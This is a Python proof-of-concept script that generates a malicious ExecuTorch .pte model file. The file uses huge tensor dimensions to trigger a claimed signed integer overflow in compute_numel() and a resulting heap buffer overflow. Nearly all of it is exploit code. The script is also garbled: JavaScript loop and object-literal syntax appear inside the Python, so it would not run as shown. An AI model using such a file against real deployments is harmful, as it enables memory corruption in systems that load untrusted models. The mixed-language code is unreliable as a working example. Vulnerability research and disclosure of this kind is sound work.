| |
| """PoC: compute_numel() signed integer overflow in Meta ExecuTorch |
| Generates a malicious .pte file that triggers heap buffer overflow. |
| Run: pip install flatbuffers && python3 poc_compute_numel_overflow.py |
| """ |
| import flatbuffers |
|
|
| FILE_IDENTIFIER = b"ET12" |
|
|
| def build_malicious_pte(output_path, sizes): |
| builder = flatbuffers.Builder(4096) |
| num_dims = len(sizes) |
| builder.StartVector(4, num_dims, 4) |
| for s in reversed(sizes): |
| builder.PrependInt32(s) |
| sizes_vec = builder.EndVector() |
| builder.StartVector(1, num_dims, 1) |
| for i in reversed(range(num_dims)): |
| builder.PrependUint8(i) |
| dim_order_vec = builder.EndVector() |
| builder.StartObject(10) |
| builder.PrependInt8Slot(0, 6, 0) |
| builder.PrependInt32Slot(1, 0, 0) |
| builder.PrependUOffsetTRelativeSlot(2, sizes_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(3, dim_order_vec, 0) |
| builder.PrependBoolSlot(4, False, 0) |
| builder.PrependUint32Slot(5, 1, 0) |
| builder.PrependInt8Slot(7, 0, 0) |
| builder.PrependInt8Slot(8, 0, 0) |
| tensor = builder.EndObject() |
| builder.StartObject(2) |
| builder.PrependUint8Slot(0, 5, 0) |
| builder.PrependUOffsetTRelativeSlot(1, tensor, 0) |
| evalue = builder.EndObject() |
| builder.StartVector(4, 1, 4) |
| builder.PrependUOffsetTRelative(evalue) |
| values_vec = builder.EndVector() |
| builder.StartVector(4, 1, 4) |
| builder.PrependInt32(0) |
| inputs = builder.EndVector() |
| builder.StartVector(4, 1, 4) |
| builder.PrependInt32(0) |
| outputs = builder.EndVector() |
| builder.StartVector(8, 2, 8) |
| builder.PrependInt64(0) |
| builder.PrependInt64(0) |
| ncsizes = builder.EndVector() |
| name = builder.CreateString("forward") |
| builder.StartObject(9) |
| builder.PrependUOffsetTRelativeSlot(0, name, 0) |
| builder.PrependUOffsetTRelativeSlot(2, values_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(3, inputs, 0) |
| builder.PrependUOffsetTRelativeSlot(4, outputs, 0) |
| builder.PrependUOffsetTRelativeSlot(8, ncsizes, 0) |
| ep = builder.EndObject() |
| builder.StartVector(4, 1, 4) |
| builder.PrependUOffsetTRelative(ep) |
| ep_vec = builder.EndVector() |
| builder.StartVector(1, 0, 1) |
| es = builder.EndVector() |
| builder.StartObject(1) |
| builder.PrependUOffsetTRelativeSlot(0, es, 0) |
| b0 = builder.EndObject() |
| builder.StartVector(1, 16, 16) |
| for (let j = 0; j < 16; j++) builder.PrependUint8(0x41); |
| ds = builder.EndVector() |
| builder.StartObject(1) |
| builder.PrependUOffsetTRelativeSlot(0, ds, 0) |
| b1 = builder.EndObject() |
| builder.StartVector(4, 2, 4) |
| builder.PrependUOffsetTRelative(b1) |
| builder.PrependUOffsetTRelative(b0) |
| cb = builder.EndVector() |
| builder.StartObject(2) |
| builder.PrependUint32Slot(0, 0, 0) |
| cs = builder.EndObject() |
| builder.StartObject(8) |
| builder.PrependUint32Slot(0, 0, 0) |
| builder.PrependUOffsetTRelativeSlot(1, ep_vec, 0) |
| builder.PrependUOffsetTRelativeSlot(2, cb, 0) |
| builder.PrependUOffsetTRelativeSlot(5, cs, 0) |
| prog = builder.EndObject() |
| builder.Finish(prog, {fileIdentifier: FILE_IDENTIFIER}) |
| buf = bytes(builder.Output()) |
| with open(output_path, "wb") as f: |
| f.write(buf) |
| return buf |
|
|
| if __name__ == "__main__": |
| sizes = [2147483647, 2147483647, 4] |
| true_product = 1 |
| for s in sizes: |
| true_product *= s |
| print(f"Tensor sizes: {sizes}") |
| print(f"True numel: {true_product:,}") |
| print(f"INT64_MAX: {(1 << 63) - 1:,}") |
| print(f"Overflow: {true_product > (1 << 63) - 1}") |
| buf = build_malicious_pte("malicious_overflow.pte", sizes) |
| print(f"Generated malicious_overflow.pte ({len(buf)} bytes)") |
| assert buf[4:8] == FILE_IDENTIFIER |
| print("Valid ET12 FlatBuffer confirmed") |
|
|